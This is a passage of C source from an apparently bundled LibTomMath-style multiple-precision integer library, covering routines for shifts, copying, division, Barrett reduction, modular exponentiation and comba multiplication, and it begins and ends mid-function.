*tmpb) { return MP_GT; } if (*tmpa < *tmpb) { return MP_LT; } } return MP_EQ; } /* reads a unsigned char array, assumes the msb is stored first [big endian] */ static int mp_read_unsigned_bin (mp_int * a, const unsigned char *b, int c) { int res; /* make sure there are at least two digits */ if (a->alloc < 2) { if ((res = mp_grow(a, 2)) != MP_OKAY) { return res; } } /* zero the int */ mp_zero (a); /* read the bytes in */ while (c-- > 0) { if ((res = mp_mul_2d (a, 8, a)) != MP_OKAY) { return res; } #ifndef MP_8BIT a->dp[0] |= *b++; a->used += 1; #else a->dp[0] = (*b & MP_MASK); a->dp[1] |= ((*b++ >> 7U) & 1); a->used += 2; #endif } mp_clamp (a); return MP_OKAY; } /* store in unsigned [big endian] format */ static int mp_to_unsigned_bin (mp_int * a, unsigned char *b) { int x, res; mp_int t; if ((res = mp_init_copy (&t, a)) != MP_OKAY) { return res; } x = 0; while (mp_iszero (&t) == 0) { #ifndef MP_8BIT b[x++] = (unsigned char) (t.dp[0] & 255); #else b[x++] = (unsigned char) (t.dp[0] | ((t.dp[1] & 0x01) << 7)); #endif if ((res = mp_div_2d (&t, 8, &t, NULL)) != MP_OKAY) { mp_clear (&t); return res; } } bn_reverse (b, x); mp_clear (&t); return MP_OKAY; } /* shift right by a certain bit count (store quotient in c, optional remainder in d) */ static int mp_div_2d (mp_int * a, int b, mp_int * c, mp_int * d) { mp_digit D, r, rr; int x, res; mp_int t; /* if the shift count is <= 0 then we do no work */ if (b <= 0) { res = mp_copy (a, c); if (d != NULL) { mp_zero (d); } return res; } if ((res = mp_init (&t)) != MP_OKAY) { return res; } /* get the remainder */ if (d != NULL) { if ((res = mp_mod_2d (a, b, &t)) != MP_OKAY) { mp_clear (&t); return res; } } /* copy */ if ((res = mp_copy (a, c)) != MP_OKAY) { mp_clear (&t); return res; } /* shift by as many digits in the bit count */ if (b >= (int)DIGIT_BIT) { mp_rshd (c, b / DIGIT_BIT); } /* shift any bit count < DIGIT_BIT */ D = (mp_digit) (b % DIGIT_BIT); if (D != 0) { register mp_digit *tmpc, mask, shift; /* mask */ mask = (((mp_digit)1) << D) - 1; /* shift for lsb */ shift = DIGIT_BIT - D; /* alias */ tmpc = c->dp + (c->used - 1); /* carry */ r = 0; for (x = c->used - 1; x >= 0; x--) { /* get the lower bits of this word in a temp */ rr = *tmpc & mask; /* shift the current word and mix in the carry bits from the previous word */ *tmpc = (*tmpc >> D) | (r << shift); --tmpc; /* set the carry to the carry bits of the current word found above */ r = rr; } } mp_clamp (c); if (d != NULL) { mp_exch (&t, d); } mp_clear (&t); return MP_OKAY; } static int mp_init_copy (mp_int * a, mp_int * b) { int res; if ((res = mp_init (a)) != MP_OKAY) { return res; } return mp_copy (b, a); } /* set to zero */ static void mp_zero (mp_int * a) { int n; mp_digit *tmp; a->sign = MP_ZPOS; a->used = 0; tmp = a->dp; for (n = 0; n < a->alloc; n++) { *tmp++ = 0; } } /* copy, b = a */ static int mp_copy (mp_int * a, mp_int * b) { int res, n; /* if dst == src do nothing */ if (a == b) { return MP_OKAY; } /* grow dest */ if (b->alloc < a->used) { if ((res = mp_grow (b, a->used)) != MP_OKAY) { return res; } } /* zero b and copy the parameters over */ { register mp_digit *tmpa, *tmpb; /* pointer aliases */ /* source */ tmpa = a->dp; /* destination */ tmpb = b->dp; /* copy all the digits */ for (n = 0; n < a->used; n++) { *tmpb++ = *tmpa++; } /* clear high digits */ for (; n < b->used; n++) { *tmpb++ = 0; } } /* copy used count and sign */ b->used = a->used; b->sign = a->sign; return MP_OKAY; } /* shift right a certain amount of digits */ static void mp_rshd (mp_int * a, int b) { int x; /* if b <= 0 then ignore it */ if (b <= 0) { return; } /* if b > used then simply zero it and return */ if (a->used <= b) { mp_zero (a); return; } { register mp_digit *bottom, *top; /* shift the digits down */ /* bottom */ bottom = a->dp; /* top [offset into digits] */ top = a->dp + b; /* this is implemented as a sliding window where * the window is b-digits long and digits from * the top of the window are copied to the bottom * * e.g. b-2 | b-1 | b0 | b1 | b2 | ... | bb | ----> /\ | ----> \-------------------/ ----> */ for (x = 0; x < (a->used - b); x++) { *bottom++ = *top++; } /* zero the top digits */ for (; x < a->used; x++) { *bottom++ = 0; } } /* remove excess digits */ a->used -= b; } /* swap the elements of two integers, for cases where you can't simply swap the * mp_int pointers around */ static void mp_exch (mp_int * a, mp_int * b) { mp_int t; t = *a; *a = *b; *b = t; } /* trim unused digits * * This is used to ensure that leading zero digits are * trimed and the leading "used" digit will be non-zero * Typically very fast. Also fixes the sign if there * are no more leading digits */ static void mp_clamp (mp_int * a) { /* decrease used while the most significant digit is * zero. */ while (a->used > 0 && a->dp[a->used - 1] == 0) { --(a->used); } /* reset the sign flag if used == 0 */ if (a->used == 0) { a->sign = MP_ZPOS; } } /* grow as required */ static int mp_grow (mp_int * a, int size) { int i; mp_digit *tmp; /* if the alloc size is smaller alloc more ram */ if (a->alloc < size) { /* ensure there are always at least MP_PREC digits extra on top */ size += (MP_PREC * 2) - (size % MP_PREC); /* reallocate the array a->dp * * We store the return in a temporary variable * in case the operation failed we don't want * to overwrite the dp member of a. */ tmp = OPT_CAST(mp_digit) XREALLOC (a->dp, sizeof (mp_digit) * size); if (tmp == NULL) { /* reallocation failed but "a" is still valid [can be freed] */ return MP_MEM; } /* reallocation succeeded so set a->dp */ a->dp = tmp; /* zero excess digits */ i = a->alloc; a->alloc = size; for (; i < a->alloc; i++) { a->dp[i] = 0; } } return MP_OKAY; } #ifdef BN_MP_ABS_C /* b = |a| * * Simple function copies the input and fixes the sign to positive */ static int mp_abs (mp_int * a, mp_int * b) { int res; /* copy a to b */ if (a != b) { if ((res = mp_copy (a, b)) != MP_OKAY) { return res; } } /* force the sign of b to positive */ b->sign = MP_ZPOS; return MP_OKAY; } #endif /* set to a digit */ static void mp_set (mp_int * a, mp_digit b) { mp_zero (a); a->dp[0] = b & MP_MASK; a->used = (a->dp[0] != 0) ? 1 : 0; } #ifndef LTM_NO_NEG_EXP /* b = a/2 */ static int mp_div_2(mp_int * a, mp_int * b) { int x, res, oldused; /* copy */ if (b->alloc < a->used) { if ((res = mp_grow (b, a->used)) != MP_OKAY) { return res; } } oldused = b->used; b->used = a->used; { register mp_digit r, rr, *tmpa, *tmpb; /* source alias */ tmpa = a->dp + b->used - 1; /* dest alias */ tmpb = b->dp + b->used - 1; /* carry */ r = 0; for (x = b->used - 1; x >= 0; x--) { /* get the carry for the next iteration */ rr = *tmpa & 1; /* shift the current digit, add in carry and store */ *tmpb-- = (*tmpa-- >> 1) | (r << (DIGIT_BIT - 1)); /* forward carry to next iteration */ r = rr; } /* zero excess digits */ tmpb = b->dp + b->used; for (x = b->used; x < oldused; x++) { *tmpb++ = 0; } } b->sign = a->sign; mp_clamp (b); return MP_OKAY; } #endif /* LTM_NO_NEG_EXP */ /* shift left by a certain bit count */ static int mp_mul_2d (mp_int * a, int b, mp_int * c) { mp_digit d; int res; /* copy */ if (a != c) { if ((res = mp_copy (a, c)) != MP_OKAY) { return res; } } if (c->alloc < (int)(c->used + b/DIGIT_BIT + 1)) { if ((res = mp_grow (c, c->used + b / DIGIT_BIT + 1)) != MP_OKAY) { return res; } } /* shift by as many digits in the bit count */ if (b >= (int)DIGIT_BIT) { if ((res = mp_lshd (c, b / DIGIT_BIT)) != MP_OKAY) { return res; } } /* shift any bit count < DIGIT_BIT */ d = (mp_digit) (b % DIGIT_BIT); if (d != 0) { register mp_digit *tmpc, shift, mask, r, rr; register int x; /* bitmask for carries */ mask = (((mp_digit)1) << d) - 1; /* shift for msbs */ shift = DIGIT_BIT - d; /* alias */ tmpc = c->dp; /* carry */ r = 0; for (x = 0; x < c->used; x++) { /* get the higher bits of the current word */ rr = (*tmpc >> shift) & mask; /* shift the current word and OR in the carry */ *tmpc = ((*tmpc << d) | r) & MP_MASK; ++tmpc; /* set the carry to the carry bits of the current word */ r = rr; } /* set final carry */ if (r != 0) { c->dp[(c->used)++] = r; } } mp_clamp (c); return MP_OKAY; } #ifdef BN_MP_INIT_MULTI_C static int mp_init_multi(mp_int *mp, ...) { mp_err res = MP_OKAY; /* Assume ok until proven otherwise */ int n = 0; /* Number of ok inits */ mp_int* cur_arg = mp; va_list args; va_start(args, mp); /* init args to next argument from caller */ while (cur_arg != NULL) { if (mp_init(cur_arg) != MP_OKAY) { /* Oops - error! Back-track and mp_clear what we already succeeded in init-ing, then return error. */ va_list clean_args; /* end the current list */ va_end(args); /* now start cleaning up */ cur_arg = mp; va_start(clean_args, mp); while (n--) { mp_clear(cur_arg); cur_arg = va_arg(clean_args, mp_int*); } va_end(clean_args); res = MP_MEM; break; } n++; cur_arg = va_arg(args, mp_int*); } va_end(args); return res; /* Assumed ok, if error flagged above. */ } #endif #ifdef BN_MP_CLEAR_MULTI_C static void mp_clear_multi(mp_int *mp, ...) { mp_int* next_mp = mp; va_list args; va_start(args, mp); while (next_mp != NULL) { mp_clear(next_mp); next_mp = va_arg(args, mp_int*); } va_end(args); } #endif /* shift left a certain amount of digits */ static int mp_lshd (mp_int * a, int b) { int x, res; /* if its less than zero return */ if (b <= 0) { return MP_OKAY; } /* grow to fit the new digits */ if (a->alloc < a->used + b) { if ((res = mp_grow (a, a->used + b)) != MP_OKAY) { return res; } } { register mp_digit *top, *bottom; /* increment the used by the shift amount then copy upwards */ a->used += b; /* top */ top = a->dp + a->used - 1; /* base */ bottom = a->dp + a->used - 1 - b; /* much like mp_rshd this is implemented using a sliding window * except the window goes the otherway around. Copying from * the bottom to the top. see bn_mp_rshd.c for more info. */ for (x = a->used - 1; x >= b; x--) { *top-- = *bottom--; } /* zero the lower digits */ top = a->dp; for (x = 0; x < b; x++) { *top++ = 0; } } return MP_OKAY; } /* returns the number of bits in an int */ static int mp_count_bits (mp_int * a) { int r; mp_digit q; /* shortcut */ if (a->used == 0) { return 0; } /* get number of digits and add that */ r = (a->used - 1) * DIGIT_BIT; /* take the last digit and count the bits in it */ q = a->dp[a->used - 1]; while (q > ((mp_digit) 0)) { ++r; q >>= ((mp_digit) 1); } return r; } /* calc a value mod 2**b */ static int mp_mod_2d (mp_int * a, int b, mp_int * c) { int x, res; /* if b is <= 0 then zero the int */ if (b <= 0) { mp_zero (c); return MP_OKAY; } /* if the modulus is larger than the value than return */ if (b >= (int) (a->used * DIGIT_BIT)) { res = mp_copy (a, c); return res; } /* copy */ if ((res = mp_copy (a, c)) != MP_OKAY) { return res; } /* zero digits above the last digit of the modulus */ for (x = (b / DIGIT_BIT) + ((b % DIGIT_BIT) == 0 ? 0 : 1); x < c->used; x++) { c->dp[x] = 0; } /* clear the digit that is not completely outside/inside the modulus */ c->dp[b / DIGIT_BIT] &= (mp_digit) ((((mp_digit) 1) << (((mp_digit) b) % DIGIT_BIT)) - ((mp_digit) 1)); mp_clamp (c); return MP_OKAY; } #ifdef BN_MP_DIV_SMALL /* slower bit-bang division... also smaller */ static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d) { mp_int ta, tb, tq, q; int res, n, n2; /* is divisor zero ? */ if (mp_iszero (b) == 1) { return MP_VAL; } /* if a < b then q=0, r = a */ if (mp_cmp_mag (a, b) == MP_LT) { if (d != NULL) { res = mp_copy (a, d); } else { res = MP_OKAY; } if (c != NULL) { mp_zero (c); } return res; } /* init our temps */ if ((res = mp_init_multi(&ta, &tb, &tq, &q, NULL) != MP_OKAY)) { return res; } mp_set(&tq, 1); n = mp_count_bits(a) - mp_count_bits(b); if (((res = mp_abs(a, &ta)) != MP_OKAY) || ((res = mp_abs(b, &tb)) != MP_OKAY) || ((res = mp_mul_2d(&tb, n, &tb)) != MP_OKAY) || ((res = mp_mul_2d(&tq, n, &tq)) != MP_OKAY)) { goto LBL_ERR; } while (n-- >= 0) { if (mp_cmp(&tb, &ta) != MP_GT) { if (((res = mp_sub(&ta, &tb, &ta)) != MP_OKAY) || ((res = mp_add(&q, &tq, &q)) != MP_OKAY)) { goto LBL_ERR; } } if (((res = mp_div_2d(&tb, 1, &tb, NULL)) != MP_OKAY) || ((res = mp_div_2d(&tq, 1, &tq, NULL)) != MP_OKAY)) { goto LBL_ERR; } } /* now q == quotient and ta == remainder */ n = a->sign; n2 = (a->sign == b->sign ? MP_ZPOS : MP_NEG); if (c != NULL) { mp_exch(c, &q); c->sign = (mp_iszero(c) == MP_YES) ? MP_ZPOS : n2; } if (d != NULL) { mp_exch(d, &ta); d->sign = (mp_iszero(d) == MP_YES) ? MP_ZPOS : n; } LBL_ERR: mp_clear_multi(&ta, &tb, &tq, &q, NULL); return res; } #else /* integer signed division. * c*b + d == a [e.g. a/b, c=quotient, d=remainder] * HAC pp.598 Algorithm 14.20 * * Note that the description in HAC is horribly * incomplete. For example, it doesn't consider * the case where digits are removed from 'x' in * the inner loop. It also doesn't consider the * case that y has fewer than three digits, etc.. * * The overall algorithm is as described as * 14.20 from HAC but fixed to treat these cases. */ static int mp_div (mp_int * a, mp_int * b, mp_int * c, mp_int * d) { mp_int q, x, y, t1, t2; int res, n, t, i, norm, neg; /* is divisor zero ? */ if (mp_iszero (b) == 1) { return MP_VAL; } /* if a < b then q=0, r = a */ if (mp_cmp_mag (a, b) == MP_LT) { if (d != NULL) { res = mp_copy (a, d); } else { res = MP_OKAY; } if (c != NULL) { mp_zero (c); } return res; } if ((res = mp_init_size (&q, a->used + 2)) != MP_OKAY) { return res; } q.used = a->used + 2; if ((res = mp_init (&t1)) != MP_OKAY) { goto LBL_Q; } if ((res = mp_init (&t2)) != MP_OKAY) { goto LBL_T1; } if ((res = mp_init_copy (&x, a)) != MP_OKAY) { goto LBL_T2; } if ((res = mp_init_copy (&y, b)) != MP_OKAY) { goto LBL_X; } /* fix the sign */ neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG; x.sign = y.sign = MP_ZPOS; /* normalize both x and y, ensure that y >= b/2, [b == 2**DIGIT_BIT] */ norm = mp_count_bits(&y) % DIGIT_BIT; if (norm < (int)(DIGIT_BIT-1)) { norm = (DIGIT_BIT-1) - norm; if ((res = mp_mul_2d (&x, norm, &x)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_mul_2d (&y, norm, &y)) != MP_OKAY) { goto LBL_Y; } } else { norm = 0; } /* note hac does 0 based, so if used==5 then its 0,1,2,3,4, e.g. use 4 */ n = x.used - 1; t = y.used - 1; /* while (x >= y*b**n-t) do { q[n-t] += 1; x -= y*b**{n-t} } */ if ((res = mp_lshd (&y, n - t)) != MP_OKAY) { /* y = y*b**{n-t} */ goto LBL_Y; } while (mp_cmp (&x, &y) != MP_LT) { ++(q.dp[n - t]); if ((res = mp_sub (&x, &y, &x)) != MP_OKAY) { goto LBL_Y; } } /* reset y by shifting it back down */ mp_rshd (&y, n - t); /* step 3. for i from n down to (t + 1) */ for (i = n; i >= (t + 1); i--) { if (i > x.used) { continue; } /* step 3.1 if xi == yt then set q{i-t-1} to b-1, * otherwise set q{i-t-1} to (xi*b + x{i-1})/yt */ if (x.dp[i] == y.dp[t]) { q.dp[i - t - 1] = ((((mp_digit)1) << DIGIT_BIT) - 1); } else { mp_word tmp; tmp = ((mp_word) x.dp[i]) << ((mp_word) DIGIT_BIT); tmp |= ((mp_word) x.dp[i - 1]); tmp /= ((mp_word) y.dp[t]); if (tmp > (mp_word) MP_MASK) tmp = MP_MASK; q.dp[i - t - 1] = (mp_digit) (tmp & (mp_word) (MP_MASK)); } /* while (q{i-t-1} * (yt * b + y{t-1})) > xi * b**2 + xi-1 * b + xi-2 do q{i-t-1} -= 1; */ q.dp[i - t - 1] = (q.dp[i - t - 1] + 1) & MP_MASK; do { q.dp[i - t - 1] = (q.dp[i - t - 1] - 1) & MP_MASK; /* find left hand */ mp_zero (&t1); t1.dp[0] = (t - 1 < 0) ? 0 : y.dp[t - 1]; t1.dp[1] = y.dp[t]; t1.used = 2; if ((res = mp_mul_d (&t1, q.dp[i - t - 1], &t1)) != MP_OKAY) { goto LBL_Y; } /* find right hand */ t2.dp[0] = (i - 2 < 0) ? 0 : x.dp[i - 2]; t2.dp[1] = (i - 1 < 0) ? 0 : x.dp[i - 1]; t2.dp[2] = x.dp[i]; t2.used = 3; } while (mp_cmp_mag(&t1, &t2) == MP_GT); /* step 3.3 x = x - q{i-t-1} * y * b**{i-t-1} */ if ((res = mp_mul_d (&y, q.dp[i - t - 1], &t1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_sub (&x, &t1, &x)) != MP_OKAY) { goto LBL_Y; } /* if x < 0 then { x = x + y*b**{i-t-1}; q{i-t-1} -= 1; } */ if (x.sign == MP_NEG) { if ((res = mp_copy (&y, &t1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_lshd (&t1, i - t - 1)) != MP_OKAY) { goto LBL_Y; } if ((res = mp_add (&x, &t1, &x)) != MP_OKAY) { goto LBL_Y; } q.dp[i - t - 1] = (q.dp[i - t - 1] - 1UL) & MP_MASK; } } /* now q is the quotient and x is the remainder * [which we have to normalize] */ /* get sign before writing to c */ x.sign = x.used == 0 ? MP_ZPOS : a->sign; if (c != NULL) { mp_clamp (&q); mp_exch (&q, c); c->sign = neg; } if (d != NULL) { mp_div_2d (&x, norm, &x, NULL); mp_exch (&x, d); } res = MP_OKAY; LBL_Y:mp_clear (&y); LBL_X:mp_clear (&x); LBL_T2:mp_clear (&t2); LBL_T1:mp_clear (&t1); LBL_Q:mp_clear (&q); return res; } #endif #ifdef MP_LOW_MEM #define TAB_SIZE 32 #else #define TAB_SIZE 256 #endif static int s_mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode) { mp_int M[TAB_SIZE], res, mu; mp_digit buf; int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; int (*redux)(mp_int*,mp_int*,mp_int*); /* find window size */ x = mp_count_bits (X); if (x <= 7) { winsize = 2; } else if (x <= 36) { winsize = 3; } else if (x <= 140) { winsize = 4; } else if (x <= 450) { winsize = 5; } else if (x <= 1303) { winsize = 6; } else if (x <= 3529) { winsize = 7; } else { winsize = 8; } #ifdef MP_LOW_MEM if (winsize > 5) { winsize = 5; } #endif /* init M array */ /* init first cell */ if ((err = mp_init(&M[1])) != MP_OKAY) { return err; } /* now init the second half of the array */ for (x = 1<<(winsize-1); x < (1 << winsize); x++) { if ((err = mp_init(&M[x])) != MP_OKAY) { for (y = 1<<(winsize-1); y < x; y++) { mp_clear (&M[y]); } mp_clear(&M[1]); return err; } } /* create mu, used for Barrett reduction */ if ((err = mp_init (&mu)) != MP_OKAY) { goto LBL_M; } if (redmode == 0) { if ((err = mp_reduce_setup (&mu, P)) != MP_OKAY) { goto LBL_MU; } redux = mp_reduce; } else { if ((err = mp_reduce_2k_setup_l (P, &mu)) != MP_OKAY) { goto LBL_MU; } redux = mp_reduce_2k_l; } /* create M table * * The M table contains powers of the base, * e.g. M[x] = G**x mod P * * The first half of the table is not * computed though accept for M[0] and M[1] */ if ((err = mp_mod (G, P, &M[1])) != MP_OKAY) { goto LBL_MU; } /* compute the value at M[1<<(winsize-1)] by squaring * M[1] (winsize-1) times */ if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_MU; } for (x = 0; x < (winsize - 1); x++) { /* square it */ if ((err = mp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_MU; } /* reduce modulo P */ if ((err = redux (&M[1 << (winsize - 1)], P, &mu)) != MP_OKAY) { goto LBL_MU; } } /* create upper table, that is M[x] = M[x-1] * M[1] (mod P) * for x = (2**(winsize - 1) + 1) to (2**winsize - 1) */ for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) { goto LBL_MU; } if ((err = redux (&M[x], P, &mu)) != MP_OKAY) { goto LBL_MU; } } /* setup result */ if ((err = mp_init (&res)) != MP_OKAY) { goto LBL_MU; } mp_set (&res, 1); /* set initial mode and bit cnt */ mode = 0; bitcnt = 1; buf = 0; digidx = X->used - 1; bitcpy = 0; bitbuf = 0; for (;;) { /* grab next digit as required */ if (--bitcnt == 0) { /* if digidx == -1 we are out of digits */ if (digidx == -1) { break; } /* read next digit and reset the bitcnt */ buf = X->dp[digidx--]; bitcnt = (int) DIGIT_BIT; } /* grab the next msb from the exponent */ y = (buf >> (mp_digit)(DIGIT_BIT - 1)) & 1; buf <<= (mp_digit)1; /* if the bit is zero and mode == 0 then we ignore it * These represent the leading zero bits before the first 1 bit * in the exponent. Technically this opt is not required but it * does lower the # of trivial squaring/reductions used */ if (mode == 0 && y == 0) { continue; } /* if the bit is zero and mode == 1 then we square */ if (mode == 1 && y == 0) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } continue; } /* else we add it to the window */ bitbuf |= (y << (winsize - ++bitcpy)); mode = 2; if (bitcpy == winsize) { /* ok window is filled so square as required and multiply */ /* square first */ for (x = 0; x < winsize; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } } /* then multiply */ if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } /* empty window and reset */ bitcpy = 0; bitbuf = 0; mode = 1; } } /* if bits remain then square/multiply */ if (mode == 2 && bitcpy > 0) { /* square then multiply if the bit is set */ for (x = 0; x < bitcpy; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } bitbuf <<= 1; if ((bitbuf & (1 << winsize)) != 0) { /* then multiply */ if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, &mu)) != MP_OKAY) { goto LBL_RES; } } } } mp_exch (&res, Y); err = MP_OKAY; LBL_RES:mp_clear (&res); LBL_MU:mp_clear (&mu); LBL_M: mp_clear(&M[1]); for (x = 1<<(winsize-1); x < (1 << winsize); x++) { mp_clear (&M[x]); } return err; } /* computes b = a*a */ static int mp_sqr (mp_int * a, mp_int * b) { int res; #ifdef BN_MP_TOOM_SQR_C /* use Toom-Cook? */ if (a->used >= TOOM_SQR_CUTOFF) { res = mp_toom_sqr(a, b); /* Karatsuba? */ } else #endif #ifdef BN_MP_KARATSUBA_SQR_C if (a->used >= KARATSUBA_SQR_CUTOFF) { res = mp_karatsuba_sqr (a, b); } else #endif { #ifdef BN_FAST_S_MP_SQR_C /* can we use the fast comba multiplier? */ if ((a->used * 2 + 1) < MP_WARRAY && a->used < (1 << (sizeof(mp_word) * CHAR_BIT - 2*DIGIT_BIT - 1))) { res = fast_s_mp_sqr (a, b); } else #endif #ifdef BN_S_MP_SQR_C res = s_mp_sqr (a, b); #else #error mp_sqr could fail res = MP_VAL; #endif } b->sign = MP_ZPOS; return res; } /* reduces a modulo n where n is of the form 2**p - d This differs from reduce_2k since "d" can be larger than a single digit. */ static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d) { mp_int q; int p, res; if ((res = mp_init(&q)) != MP_OKAY) { return res; } p = mp_count_bits(n); top: /* q = a/2**p, a = a mod 2**p */ if ((res = mp_div_2d(a, p, &q, a)) != MP_OKAY) { goto ERR; } /* q = q * d */ if ((res = mp_mul(&q, d, &q)) != MP_OKAY) { goto ERR; } /* a = a + q */ if ((res = s_mp_add(a, &q, a)) != MP_OKAY) { goto ERR; } if (mp_cmp_mag(a, n) != MP_LT) { s_mp_sub(a, n, a); goto top; } ERR: mp_clear(&q); return res; } /* determines the setup value */ static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d) { int res; mp_int tmp; if ((res = mp_init(&tmp)) != MP_OKAY) { return res; } if ((res = mp_2expt(&tmp, mp_count_bits(a))) != MP_OKAY) { goto ERR; } if ((res = s_mp_sub(&tmp, a, d)) != MP_OKAY) { goto ERR; } ERR: mp_clear(&tmp); return res; } /* computes a = 2**b * * Simple algorithm which zeroes the int, grows it then just sets one bit * as required. */ static int mp_2expt (mp_int * a, int b) { int res; /* zero a as per default */ mp_zero (a); /* grow a to accomodate the single bit */ if ((res = mp_grow (a, b / DIGIT_BIT + 1)) != MP_OKAY) { return res; } /* set the used count of where the bit will go */ a->used = b / DIGIT_BIT + 1; /* put the single bit in its place */ a->dp[b / DIGIT_BIT] = ((mp_digit)1) << (b % DIGIT_BIT); return MP_OKAY; } /* pre-calculate the value required for Barrett reduction * For a given modulus "b" it calulates the value required in "a" */ static int mp_reduce_setup (mp_int * a, mp_int * b) { int res; if ((res = mp_2expt (a, b->used * 2 * DIGIT_BIT)) != MP_OKAY) { return res; } return mp_div (a, b, a, NULL); } /* reduces x mod m, assumes 0 < x < m**2, mu is * precomputed via mp_reduce_setup. * From HAC pp.604 Algorithm 14.42 */ static int mp_reduce (mp_int * x, mp_int * m, mp_int * mu) { mp_int q; int res, um = m->used; /* q = x */ if ((res = mp_init_copy (&q, x)) != MP_OKAY) { return res; } /* q1 = x / b**(k-1) */ mp_rshd (&q, um - 1); /* according to HAC this optimization is ok */ if (((unsigned long) um) > (((mp_digit)1) << (DIGIT_BIT - 1))) { if ((res = mp_mul (&q, mu, &q)) != MP_OKAY) { goto CLEANUP; } } else { #ifdef BN_S_MP_MUL_HIGH_DIGS_C if ((res = s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) { goto CLEANUP; } #elif defined(BN_FAST_S_MP_MUL_HIGH_DIGS_C) if ((res = fast_s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) { goto CLEANUP; } #else { #error mp_reduce would always fail res = MP_VAL; goto CLEANUP; } #endif } /* q3 = q2 / b**(k+1) */ mp_rshd (&q, um + 1); /* x = x mod b**(k+1), quick (no division) */ if ((res = mp_mod_2d (x, DIGIT_BIT * (um + 1), x)) != MP_OKAY) { goto CLEANUP; } /* q = q * m mod b**(k+1), quick (no division) */ if ((res = s_mp_mul_digs (&q, m, &q, um + 1)) != MP_OKAY) { goto CLEANUP; } /* x = x - q */ if ((res = mp_sub (x, &q, x)) != MP_OKAY) { goto CLEANUP; } /* If x < 0, add b**(k+1) to it */ if (mp_cmp_d (x, 0) == MP_LT) { mp_set (&q, 1); if ((res = mp_lshd (&q, um + 1)) != MP_OKAY) { goto CLEANUP; } if ((res = mp_add (x, &q, x)) != MP_OKAY) { goto CLEANUP; } } /* Back off if it's too big */ while (mp_cmp (x, m) != MP_LT) { if ((res = s_mp_sub (x, m, x)) != MP_OKAY) { goto CLEANUP; } } CLEANUP: mp_clear (&q); return res; } /* multiplies |a| * |b| and only computes upto digs digits of result * HAC pp. 595, Algorithm 14.12 Modified so you can control how * many digits of output are created. */ static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { mp_int t; int res, pa, pb, ix, iy; mp_digit u; mp_word r; mp_digit tmpx, *tmpt, *tmpy; /* can we use the fast multiplier? */ if (((digs) < MP_WARRAY) && MIN (a->used, b->used) < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { return fast_s_mp_mul_digs (a, b, c, digs); } if ((res = mp_init_size (&t, digs)) != MP_OKAY) { return res; } t.used = digs; /* compute the digits of the product directly */ pa = a->used; for (ix = 0; ix < pa; ix++) { /* set the carry to zero */ u = 0; /* limit ourselves to making digs digits of output */ pb = MIN (b->used, digs - ix); /* setup some aliases */ /* copy of the digit from a used within the nested loop */ tmpx = a->dp[ix]; /* an alias for the destination shifted ix places */ tmpt = t.dp + ix; /* an alias for the digits of b */ tmpy = b->dp; /* compute the columns of the output and propagate the carry */ for (iy = 0; iy < pb; iy++) { /* compute the column as a mp_word */ r = ((mp_word)*tmpt) + ((mp_word)tmpx) * ((mp_word)*tmpy++) + ((mp_word) u); /* the new column is the lower part of the result */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* get the carry word from the result */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } /* set carry if it is placed below digs */ if (ix + iy < digs) { *tmpt = u; } } mp_clamp (&t); mp_exch (&t, c); mp_clear (&t); return MP_OKAY; } /* Fast (comba) multiplier * * This is the fast column-array [comba] multiplier. It is * designed to compute the columns of the product first * then handle the carries afterwards. This has the effect * of making the nested loops that compute the columns very * simple and schedulable on super-scalar processors. * * This has been modified to produce a variable number of * digits of output so if say only a half-product is required * you don't have to compute the upper half (a feature * required for fast Barrett reduction). * * Based on Algorithm 14.12 on pp.595 of HAC. * */ static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { int olduse, res, pa, ix, iz; mp_digit W[MP_WARRAY]; register mp_word _W; /* grow the destination as required */ if (c->alloc < digs) { if ((res = mp_grow (c, digs)) != MP_OKAY) { return res; } } /* number of output digits to produce */ pa = MIN(digs, a->used + b->used); /* clear the carry */ _W = 0; for (ix = 0; ix < pa; ix++) { int tx, ty; int iy; mp_digit *tmpx, *tmpy; /* get offsets into the two bignums */ ty = MIN(b->used-1, ix); tx = ix - ty; /* setup temp aliases */ tmpx = a->dp + tx; tmpy = b->dp + ty; /* this is the number of times the loop will iterrate, essentially while (tx++ < a->used && ty-- >= 0) { ... } */ iy = MIN(a->used-tx, ty+1); /* execute loop */ for (iz = 0; iz < iy; ++iz) { _W += ((mp_word)*tmpx++)*((mp_word)*tmpy--); } /* store term */ W[ix] = ((mp_digit)_W) & MP_MASK; /* make next carry */ _W = _W >> ((mp_word)DIGIT_BIT); } /* setup dest */ olduse = c->used; c->used = pa; { register mp_digit *tmpc; tmpc = c->dp; for 